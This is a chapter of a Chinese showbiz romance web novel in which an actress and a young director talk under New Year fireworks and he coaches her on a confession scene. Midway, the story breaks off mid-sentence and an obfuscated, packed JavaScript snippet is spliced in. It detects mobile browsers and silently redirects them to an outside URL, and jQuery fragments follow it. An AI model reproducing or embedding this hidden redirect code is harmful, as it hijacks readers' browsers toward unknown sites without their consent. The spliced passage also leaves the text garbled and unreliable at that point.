25. 演戏
作品:《她是人间妄想[娱乐圈]》 烟花炸裂,火光四散,如同漫天星河坠落,将夜空映照得耀眼夺目。
轰鸣声震耳欲聋,舒羯心跳如雷,掌心微微发烫。
时间真是个不合时宜的孙子。
心定心定心定!
她默念着每月和大师见面时被教着念的金刚经,试图让自己冷静下来。不可以,不可以起妄念,一点想法都不能有。
男人,都是害人精。
舒羯最讨厌这种罗曼蒂克的氛围。
一男一女,以烟花为背景,暧昧到仿佛连空气都在催促他们说些什么,做些什么。
舒羯当然知道这种场景会被赋予某种天然的意义。可她偏偏抗拒,不想让自己代入其中。
她害怕。
害怕一旦多想,就会被内心那个蠢蠢欲动的自己拖入不可收拾的境地里。
她不想和他产生出什么男女之间的感情。
舒羯前齿微张,刚想说点什么,却被陈春来突如其来的关心堵了回去。
她今天的一举一动,他不都看在眼里?
监视器看了一整天,现在还特地跑来关心她?……真是有够虚伪的。
舒羯轻咳一声:“导演,你…是也知道我不好啊?”
“我当然知道。”陈春来说,“看你的表情就知道了,你对所有人都笑,见了我却不一样。”
这话…是在怀疑她的专业素养吗?
舒羯立刻挤出一个完美的职业假笑:“哪有啊!明明都一样好吗?”
“我对所有人都是这个表情!请不要怀疑我的职业精神!我超敬业的!”
“再说了,那我不好,是因为谁啊?”
上午,她拍了电影结局的背影镜头,下午又现场收音,清唱了一首校园民谣——那是电影的片尾曲。
唱到嗓子发哑,最终还是没能从导演口中得到一句满意的话。
“抱歉,杂音还是太多了。”
“还麻烦舒小姐之后再录一版吧。”
舒羯在片场听到这句话,吃喉糖时差点没忍住表情管理,给陈春来一个大大的白眼加中指。
明明是他说要嘈杂、沙哑、厚重的感觉,所以要现场录一版,硬让她拍完了当日的镜头后又录歌,唱到嗓子发不出声音,结果来一句轻飘飘的“不能用”?
行,不能用就不能用吧。
可陈春来为什么又特意让录音师单独拷了这一段音频发给他?
明明就很满意啊。
舒羯自我感觉也不错,唱得快赶上她天天睡前循环的那段音频了。
说是天仙下凡、天花乱坠、余音绕梁,毫不为过!
舒羯正胡思乱想着,耳边忽然响起一句低沉的询问:
“嗓子还好吗?”
她怔了怔,转头对上陈春来那双微敛的眉眼。
“回去之后还有难受吗?童小姐告诉我,你以前嗓子受过伤,动过手术,我很抱歉,今天那样的事不会再发生了,我保证。”
怎么回事?太阳打西边出来了?
陈春来在向她道歉?
舒羯盯着他,想在他脸上找出一丝带着虚伪面具的破绽。可男人的表情是极为认真的,眼神里也的的确确带着歉意。
她不想在男人,尤其是在导演面前卖惨。她也是要面子的。自怜不是她的风格。男性的虚伪更令人烦腻。
以为是为她好,开什么特权,跟‘女士优先’的slogan一样伪善。
“你看我这声音,像是不好的样子吗?我是演员,恢复能力很快的,就算不能恢复,契约精神总是有的。”
“当然,我的契约精神不体现在那些乱改剧本、乱塞人的剧组里。”
也不知道是在特指谁……
话音落下,夜空炸开一簇烟花。
光影变幻,绚烂的红与金落在她脸上,眉眼幽深,唇色淡白。
明明是那么美的东西,可你却总是为它的短暂而感到怅然。
陈春来忽然想起自己本科拍第一部电影时,挑选演员时的信誓旦旦。
“我不喜欢那些训练过头的演员。除了漂亮之外,他们都千篇一律,像是从流水线上出来的复制品。真正的角色,应该像普通人那样真实和自然,为什么电影里的人不能像我们身边的人一样呢?”
陈春来一直认为电影里,至少是他的电影里的演员,不应该是经过雕琢的标准品,而是未被抛光的原石,带着天然的纹路,甚至瑕疵。
但现在,他开始怀疑自己当年的看法。
或许,他错了。
将光滑的岩石打磨成粗糙的模样,这样也挺好。
*
舒羯已经恢复了寻常的镇定。
她又没有做错什么,为什么要心虚?
不过是几束烟花而已,不过是与他一起迎接跨年的一秒罢了,这有什么的?
舒羯:“Leon,大家都这么叫你吗?”
望着烟花的眼睛转过头看她,火山眨着一声低沉的耳语,陈春来嗯道。
“那王为涧老师呢?他为什么叫你小映?”
“他说你在本科时名字叫做映雪。”
舒羯她不是个能忍着的人,索性就把刚刚的疑惑一股脑儿问了出来:“或许你知道,我以前的Q/Q,也叫这个名字吗?”
“嗯?”陈春来很疑惑地抬了抬眉,“我不知道,Q/Q是什么?”
“抱歉,我从小在国外长大,不太清楚国内的这些软件。”
“还是说…我应该知道?”
很明显,陈春来是刚刚才知晓这则信息的,于是又问了一遍,“你确定是一模一样的两个字?映衬的映,雪花的雪?”
倒打一耙的本领倒是很强。
按照时间线来算,明明应该是他学她的好吗!怎么现在像是舒羯在碰瓷了!
舒羯点点头,一字一句,把搜到的微博话题念给他听:“没想到吧,我以前初中的愿望也仅仅只是看一场雪而已。”
“但这个雪是特定的,我当时只是想在南方看一场雪罢了。”
陈春来:“所以,你是想说什么,是想说我们很有缘?连名字都撞?”
舒羯似笑非笑地看着他:“我什么也不想说,我只是想和你拉近距离。毕竟我们是要在一起合作很久,电影拍完也不是不见面了,等电影上映还有各种宣发、路演什么的,公司也要根据电影来给我做营销,我只是希望,我们的关系,别那么剑拔弩张的。”
“我都说了我没有讨厌你。”
“那为什么对我总是一副见外的表情?剧组好多人都跟我贴面礼,你为什么不呀?不是法国留学回来的吗?还有剧本围读时,我只是给你扣了下扣子为什么反应那么大?我都没说什么…”
“嗯…”舒羯仔细回忆着,“还有今天,我演得那么好,全剧组的人都夸我了,唯独你没有夸我耶,好奇怪哦——”语调拉长,尾音狡黠如钩。
是在一点一点盘点他的罪状?
也不是所有人都要明面上那么喜欢她的吧…
陈春来看看天空的烟花,又偏头看她:“可是他们都不知道我的名字,只有你知道。”
“你是想说我们其实很熟?”
“是的。我们很熟,比起他们来说。”陈春来说,“所以可以麻烦舒小姐,继续帮我保守这个秘密吗?”
“好啊好啊,”舒羯忽然伸手,轻轻拍拍陈春来的肩膀。
她故意放慢语速:“你放心。除了我,不会有人知道你的真名的,春——来。”
她把那两个字念得格外清晰,连家里人都不常叫他这两个字,舒羯倒是叫得顺口。
舒羯:“那既然是秘密,有没有什么奖励之类的?”
陈春来:“你想要什么奖励?”
舒羯很快将自己的内心欲望脱口而出:“下一场戏..我想要导演亲自指导给我演一遍。”
“电视剧和电影的表演方式不同,跟在老师那里上课也不是一回事。那既然你没夸我,就代表我肯定是哪里做得不好,没让你满意。还有谁比导演本人更懂自己的戏呢?”
舒羯正准备再添一把火,忽然像是想起什么,语调一转:“对了,我还有个问题要问你。”
“那个跟你朋友圈过生日的人是谁?”
陈春来对于舒羯突然问到陈瑾笙而感到奇怪:“你前两天不是刚见她?”
舒羯:…?啊?难道说…那是你...
陈春来嗯道,是的,那就是我妹妹。
*
今日温度刚好,路旁的香樟树还算茂盛,树枝与树叶纠缠着,风很轻,抽支烟就能探知其方向。
陈春来想着怎样开口讲戏才算比较自然,才能让舒羯很快代入进角色里呢?
他扫了眼手机里的工作计划与拍摄安排,对着她幽微启唇:“舒小姐有过喜欢一个人的时候吗?”
困扰了一整天的疑虑终于被解开,她感觉轻松了许多。也说不清为什么,总之,没有那种被人背信的感觉,这就足够了。
舒羯最担心的,是和她年纪相仿的导演会在工作时带薪谈恋爱。
她毫无保留地投入拍戏,专注于揣摩角色,每天晚上都补充人物小传,为陈芸生填充各种生活细节,让这个角色变得鲜活真实。
她那么煞费苦心,而比她更需要努力的某位新人导演,也必须保持同样的专注,不能有任何懈怠!
否则,她这一整个月的努力就白费了。
为了这部戏,她推掉了那么多工作,后续的工作都还没影呢,只靠一部之前答应许琼珊要上的综艺来填补档期。她不想看到自己如此珍视的作品,最后糊出地心沦为笑柄。
演员的工作就是背词、琢磨角色情绪,每天和各种人对戏、打磨细节,而导演的工作就是保证整个电影的质量。如果导演不能像她一样全身心投入,反而还抽空谈恋爱——舒羯真的会很生气。
好在这种事没有发生。
她回答:“当然有过啊,我是人又不是机器,肯定会有喜欢一个人的时候啦,而且…还是很多个瞬间呢。”
舒羯这么说着,脑海中浮现出令她心念一动的情节。
一想到喜欢过的一个个全都塌房了男的,又觉萎靡,“可有些我确实不太想回忆了,都是黑历史。”
她不明白陈春来为什么突然问这个。
是跟戏有关吗?
“要说最近一次喜欢——大概是那天看到你喂流浪猫吧。”
她撑着下巴,用浸着蜜糖的声线说出:“那时候的你,怎么说呢,充满善意,是很纯粹的、没有男子气概的、中性的温柔,可以这样形容吧?”
舒羯这个人,讨厌一个人的做派会直接说出来,喜欢一个人的做派也是。
当然,仅仅是“做派”而已,不是“人”。
人…她还没正儿八经经历过双向奔赴的爱情呢!
“我喜欢没有男子气概的男生和女生。”她诚实道。
陈春来对于舒羯的话并不诧异,他都有些习惯她突如其来的平地一声雷。
他盯着她看了几秒,琢磨着这句话里是不是藏着别的意味。可舒羯的表情自然得很,没一点要收敛的感觉。
虽然男人大多面貌都很讨厌,可她喜欢他这幅模样。
她也没说谎,也只有跟动物在一起,陈春来才有那么点讨人喜欢。至少是讨她喜欢。
“我说的不是这种喜欢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206086|162596||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,而是男女。”陈春来听到舒羯说喜欢后,忙握紧拳头低咳了一声,咬重“男女”二字。
陈春来不是没有预料到,舒羯会喜欢他。
就在几天前,剧本围读的第一天她便故意接近他,帮他暧昧地扣扣子,还有现在她那么光明正大地,用带有强烈欲望的眼神看他。
就因为这些瞬间,让陈春来开始不自觉地重新审视她。
任谁都不可能读不懂她的心思的,舒羯一定是对他有意。
虽然他们已认识许久,从高中开始舒羯就对她有所表示,可这不代表他也喜欢她,最多就只是会多关注到她一些罢了。
现在还是工作最重要,谈情说爱还是等到以后再说吧。
“下场戏你要跟焕阳表白。”陈春来不动声色地收起思绪,一本正经转回了刚刚的话题。
毕竟是舒羯的请求,是她想要的奖励,陈春来也顺从着给舒羯讲戏。
他点出明日那场高潮戏。这戏不似舒羯以前拍过的青春校园偶像剧里的表白,相反,还透着点悲悯。
这是陈芸生走向自我觉醒的一大过程迈向的很大一步。这也是她距离真正认知男性的虚伪的一大觉醒片段。
陈春来说到表白的时候,舒羯才回过神来,视线从起伏的胸口转移到他的脸上。
舒羯觉得这个男人实在是不可理喻,她是想让陈春来给她讲戏,但也不代表这种表白的戏码都要跟她分析吧?
身为偶像剧专业户,是不是太小瞧她了?
她伸出三根手指,比划着:“我是拍偶像剧出身的,表白戏码我三个月就要演一次。”
舒羯说着索性演了起来。这种语调,这种神情,她在镜头前用过无数次了。
那些男演员每次都吃这一套,也不知道男人到底是怎么回事,就喜欢女人这样。
果然,舒羯演完后,陈春来看她的神色明显变了点,从里流露出了一种更加疼惜、爱惜、怜惜之色。
她冷眼旁观着,心想——真是庸俗。
他果然和其他男人没什么不一样。
可这想法一落地,舒羯就后悔了。
她想起昨晚拍戏时,陈春来说的那番话。
他想要的,跟她以往的表演方式似乎……不太一样。
“不是的,不是这样。”陈春来开口,“当然,我知道偶像剧里这么演确实没问题,可…我们现在拍的毕竟不是偶像剧,对吗?”
陈春来没有和职业演员一起拍过戏,跟他一起拍过的演员,与他相熟时都是素人。
他知道导演与演员之间的关系,他们需要建立起一种感情跟信任,如果演员不信任导演就很难演好这部电影。
“你是哪里人,舒小姐?”
陈春来并不是个热衷八卦的人,他对舒羯的了解,从来都停留在演员与导演的关系上,哪怕剧组很多人都会好奇舒羯私下如何,他也不觉得她的个人生活值得他浪费时间去关注。
“哪儿?出生地吗?”舒羯一愣,她没预料到这样一个平常的问题会从陈春来——这个看起来高高在上的少爷口中吐出。
舒羯:“温杭,我出生在温杭,爷爷奶奶都在那里。”
陈春来说:“电影有自己的语言,主角也是。每个地方或者地区都不一样,法国人跟英国人,中国人跟美国人,沪深人跟普宁人,因为语言不同,所以语言里面的词汇也不同,对情感的表达和整个情感模式也是不太一样的。”
“就比如说——我喜欢你。”
陈春来用普通话说了一遍。
可当这句台词被他用法语、英文再次复述时,那种情绪发生了细微的变化。
法语让这句表白变得浪漫而缱绻,仿佛是在二十世纪黄昏里的巴黎电影中的台词。
英文则是自由和外放的。
而最后——
他又用南方腔调,轻轻地、慢慢地、含糊地,重新低声说了一遍。
那些词句从陈春来嘴里吐出,舒羯立马感到了一种截然不同的氛围,语言像是变幻莫测的万花筒,随着不同的口音,他的眼神也随之变化了。
舒羯突然觉得陈春来像变了一个人。
一个很…温润的人、一个很害羞的人。
不,不是人,是被轻轻触碰一下很快就会缩回去的一株非常高昂挺拔的含羞草,只此一株的那种。
陈春来抿了抿嘴,当自己说出那些脸红心跳的台词后,他莫名觉得嘴巴很空。
他下意识低头,想点烟,手在口袋摩挲了半天烟盒,还是没从里掏出来。
让一个不会吸烟的人吸食二手烟确实是件不太有素质的事情。这不符合陈寒冬女士从小就对他的教育。
在中国没有设置吸烟区,这确实让他有些头疼了,到哪儿都是人,找个无人区吸烟实在太困难。
陈春来看了眼手机,凌晨十二点十五分,他的身边此刻还有一位正在说着温州话的女人,他不可以太过于放纵自己。
陈春来把手从口袋伸出去,时冷时热的温度让他的手指关节微微发着红,叫人忍不住浮想联翩。
脖颈处渐渐染上一层薄红,气血上涌,仿佛下一秒便会有什么东西冲破那层薄薄的衣衫,彻底暴露在空气中。
含羞草又在干嘛,是想拿什么东西出来再对她演一次表白吗...?
而后,陈春来又用那双幽深的眸子看她:“我这么说,舒小姐能明白吗?”
舒羯下意识点头,看着他上下翕动的嘴型,用温州话又极为缓慢地重复了一遍。
最后说完台词里的那句“我喜欢你”,舒羯抬起头,直接与他的目光相对。
勾人的话音落下:“那我这么演,陈先生能明白吗?”